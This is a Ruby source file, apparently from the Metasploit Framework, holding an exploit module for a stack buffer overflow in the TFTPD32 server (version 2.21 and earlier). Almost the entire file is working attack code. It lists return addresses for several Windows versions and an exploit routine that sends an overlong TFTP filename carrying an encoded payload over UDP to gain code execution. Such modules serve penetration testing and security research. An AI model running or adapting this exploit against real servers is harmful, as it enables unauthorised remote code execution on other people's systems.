90 lines
1.9 KiB
Ruby
90 lines
1.9 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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module Msf
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class Exploits::Windows::Tftp::Tftpd32_Long_Filename < Msf::Exploit::Remote
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include Exploit::Remote::Udp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'TFTPD32 <= 2.21 Long Filename Buffer Overflow',
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'Description' => %q{
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This module exploits a stack overflow in TFTPD32 version 2.21
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and prior. By sending a request for an overly long file name
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to the tftpd32 server, a remote attacker could overflow a buffer and
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execute arbitrary code on the system.
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},
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'Author' => 'MC',
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'Version' => '$Revision$',
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'References' =>
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[
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['BID', '6199'],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 250,
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'BadChars' => "\x00",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['Windows NT 4.0 SP6a English', { 'Ret' => 0x77f9d463} ],
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['Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec663} ],
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['Windows XP Pro SP0 English', { 'Ret' => 0x77dc0df0} ],
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['Windows XP Pro SP1 English', { 'Ret' => 0x77dc5527} ],
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],
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'Privileged' => true,
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'DisclosureDate' => 'Nov 19 2002'
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))
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register_options(
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[
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Opt::RPORT(69)
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], self)
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end
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def exploit
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connect_udp
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print_status("Trying target #{target.name}...")
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sploit =
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"\x00\x01" +
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rand_text_english(120, payload_badchars) +
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"." +
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rand_text_english(135, payload_badchars) +
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[target.ret].pack('V') +
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payload.encoded +
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"\x00"
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udp_sock.put(sploit)
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disconnect_udp
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end
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end
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end
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